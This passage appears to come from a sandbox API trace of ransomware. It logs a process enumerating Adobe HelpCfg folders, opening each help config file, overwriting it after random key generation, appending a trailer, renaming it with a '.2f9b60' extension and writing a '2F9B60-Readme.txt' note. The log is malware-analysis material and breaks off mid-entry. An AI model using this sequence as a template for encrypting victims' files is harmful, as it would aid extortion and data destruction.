0x1b7ae240 [0135.271] wcscpy (in: _Dest=0x1b7ae240, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0135.271] wcscat (in: _Dest=0x1b7ae240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" [0135.271] wcscat (in: _Dest=0x1b7ae240, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg" [0151.549] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es\\reader_10.0.helpcfg")) returned 0x20 [0151.549] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0151.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2540 [0151.550] GetFileSizeEx (in: hFile=0x2540, lpFileSize=0x2f6afae0 | out: lpFileSize=0x2f6afae0*=349) returned 1 [0151.550] SetFilePointerEx (in: hFile=0x2540, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.550] ReadFile (in: hFile=0x2540, lpBuffer=0x2f6afa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f6afaa8, lpOverlapped=0x0 | out: lpBuffer=0x2f6afa60*, lpNumberOfBytesRead=0x2f6afaa8*=0x4, lpOverlapped=0x0) returned 1 [0151.551] SetFilePointerEx (in: hFile=0x2540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff870 [0151.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff900 [0151.552] NtQuerySystemTime (in: CurrentTime=0x2f6af9a0 | out: CurrentTime=0x2f6af9a0*=132462177567562000) returned 0x0 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x6782dbe7 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x7e935425 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x5fe65b61 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x21a4a89e [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x2fe3da73 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x5f65d121 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x64deb37d [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x201e6fe0 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x35116d73 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x236f1a3e [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x692dccaa [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x625bd278 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x664c9a7b [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x7522c9a [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x4e9d230f [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x7e96ec48 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x453df69e [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x3cdcb2b1 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x2afa33d0 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x523877d1 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x3cdcb2b1 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x23aa4b4 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x638977d3 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x7cc77e52 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x10c6dd48 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x2a32cfa3 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x5a96a3fc [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x6592cbb [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x373b6cf2 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x612afd1b [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x3e35c527 [0151.552] RtlRandomEx (in: Seed=0x2f6af990 | out: Seed=0x2f6af990) returned 0x3c6be162 [0151.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff930 [0151.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0151.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff960 [0151.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0151.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff900) returned 1 [0151.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420587e0 [0151.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0151.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7b9dc0) returned 1 [0151.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42508970 [0151.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4250c580 [0151.562] ReadFile (in: hFile=0x2540, lpBuffer=0x42508970, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f6af990, lpOverlapped=0x0 | out: lpBuffer=0x42508970*, lpNumberOfBytesRead=0x2f6af990*=0x15d, lpOverlapped=0x0) returned 1 [0151.562] SetFilePointerEx (in: hFile=0x2540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.562] WriteFile (hFile=0x2540, lpBuffer=0x4250c580, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f6af994, lpOverlapped=0x0) [0192.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a090 [0192.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a0c0 [0192.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a0c0) returned 1 [0192.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4250c580) returned 1 [0192.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42508970) returned 1 [0192.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0192.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420587e0) returned 1 [0192.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d830 [0192.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420587e0 [0192.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0192.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a0c0 [0192.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a0c0) returned 1 [0192.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d870 [0192.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a0c0 [0192.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a0f0 [0192.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a0f0) returned 1 [0192.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0192.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420587e0) returned 1 [0192.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x167a60 [0192.868] SetFilePointerEx (in: hFile=0x2540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.868] WriteFile (in: hFile=0x2540, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f6afab0, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x2f6afab0*=0x118, lpOverlapped=0x0) returned 1 [0201.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff9f0 [0201.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff9f0) returned 1 [0201.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff9f0 [0201.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff9c0 [0201.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff900 [0201.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff900) returned 1 [0201.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0201.470] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="67") returned 2 [0201.470] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.470] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="5a") returned 2 [0201.470] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="e0") returned 2 [0201.470] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.470] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="93") returned 2 [0201.470] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="00") returned 2 [0201.471] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="39") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="89") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="78") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="e6") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="08") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="83") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="40") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="91") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="bb") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="32") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="5d") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="96") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="c7") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="d2") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="64") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="3f") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="2d") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="80") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.471] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.472] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.472] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="96") returned 2 [0201.472] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="61") returned 2 [0201.472] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.472] RtlInitAnsiString (in: DestinationString=0x2f6afb28, SourceString="67e05ae0c1930039ce8978e608834091bbbd325d96cac7f8d2640ff73f2d806e2bd8cd96616e" | out: DestinationString="67e05ae0c1930039ce8978e608834091bbbd325d96cac7f8d2640ff73f2d806e2bd8cd96616e") [0201.472] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f6afaf8, SourceString="67e05ae0c1930039ce8978e608834091bbbd325d96cac7f8d2640ff73f2d806e2bd8cd96616e", AllocateDestinationString=1 | out: DestinationString="67e05ae0c1930039ce8978e608834091bbbd325d96cac7f8d2640ff73f2d806e2bd8cd96616e") returned 0x0 [0201.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a72d0 [0201.473] wcscat (in: _Dest=0x431a7220, _Source="67e05ae0c1930039ce8" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8" [0201.473] wcscat (in: _Dest=0x431a7220, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8.2f9b60" [0201.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8.2f9b60", NtPathName=0x2f6afad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\67e05ae0c1930039ce8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310af40 [0205.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310af40) returned 1 [0205.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43209020) returned 1 [0205.808] NtQueryInformationFile (in: FileHandle=0x2540, IoStatusBlock=0x2f6afb38, FileInformation=0x2f6afb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f6afb38, FileInformation=0x2f6afb48) returned 0x0 [0205.808] NtSetInformationFile (FileHandle=0x2540, IoStatusBlock=0x2f6afb38, FileInformation=0x2f6afb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7220) returned 1 [0208.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a72d0) returned 1 [0208.640] FlushFileBuffers (hFile=0x2540) returned 1 [0208.643] CloseHandle (hObject=0x2540) returned 1 [0211.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43187da0 [0211.523] wcscpy (in: _Dest=0x43187da0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" [0211.523] wcscat (in: _Dest=0x43187da0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\2F9B60-Readme.txt" [0211.524] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es\\2f9b60-readme.txt")) returned 0xffffffff [0211.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ca_es\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a74 [0216.411] WriteFile (in: hFile=0x2a74, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f6af9f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f6af9f0*=0xba9, lpOverlapped=0x0) returned 1 [0220.300] CloseHandle (hObject=0x2a74) returned 1 [0223.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187da0) returned 1 [0223.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae240) returned 1 [0223.984] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0223.985] FindClose (in: hFindFile=0x1b8592d0 | out: hFindFile=0x1b8592d0) returned 1 [0223.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce593b0) returned 1 [0223.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0223.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a140) returned 1 Thread: id = 1946 os_tid = 0x1134 [0135.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8678c0 [0135.278] wcscpy (in: _Dest=0x1b8678c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0135.278] wcscat (in: _Dest=0x1b8678c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" [0135.278] wcscat (in: _Dest=0x1b8678c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*" [0135.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56560 [0135.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858af0 [0135.281] wcscmp (_String1=".", _String2=".") returned 0 [0135.281] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.281] wcscmp (_String1="..", _String2=".") returned 1 [0135.281] wcscmp (_String1="..", _String2="..") returned 0 [0135.281] FindNextFileW (in: hFindFile=0x1b858af0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0135.281] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0135.281] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0135.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508e50 [0135.282] wcscpy (in: _Dest=0x20508e50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0135.282] wcscat (in: _Dest=0x20508e50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" [0135.282] wcscat (in: _Dest=0x20508e50, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg" [0151.563] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\reader_10.0.helpcfg")) returned 0x20 [0151.563] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0151.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2544 [0151.564] GetFileSizeEx (in: hFile=0x2544, lpFileSize=0x2f5ef9c0 | out: lpFileSize=0x2f5ef9c0*=349) returned 1 [0151.564] SetFilePointerEx (in: hFile=0x2544, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.564] ReadFile (in: hFile=0x2544, lpBuffer=0x2f5ef940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f5ef988, lpOverlapped=0x0 | out: lpBuffer=0x2f5ef940*, lpNumberOfBytesRead=0x2f5ef988*=0x4, lpOverlapped=0x0) returned 1 [0151.566] SetFilePointerEx (in: hFile=0x2544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b7b9dc0 [0151.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff900 [0151.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff990 [0151.566] NtQuerySystemTime (in: CurrentTime=0x2f5ef880 | out: CurrentTime=0x2f5ef880*=132462177567718000) returned 0x0 [0151.566] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x19167377 [0151.566] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x631e3adb [0151.566] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0xafa4ac2 [0151.566] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x6b4911b4 [0151.567] RtlRandomEx (in: Seed=0x2f5ef870 | out: Seed=0x2f5ef870) returned 0x6b308b02 [0151.567] 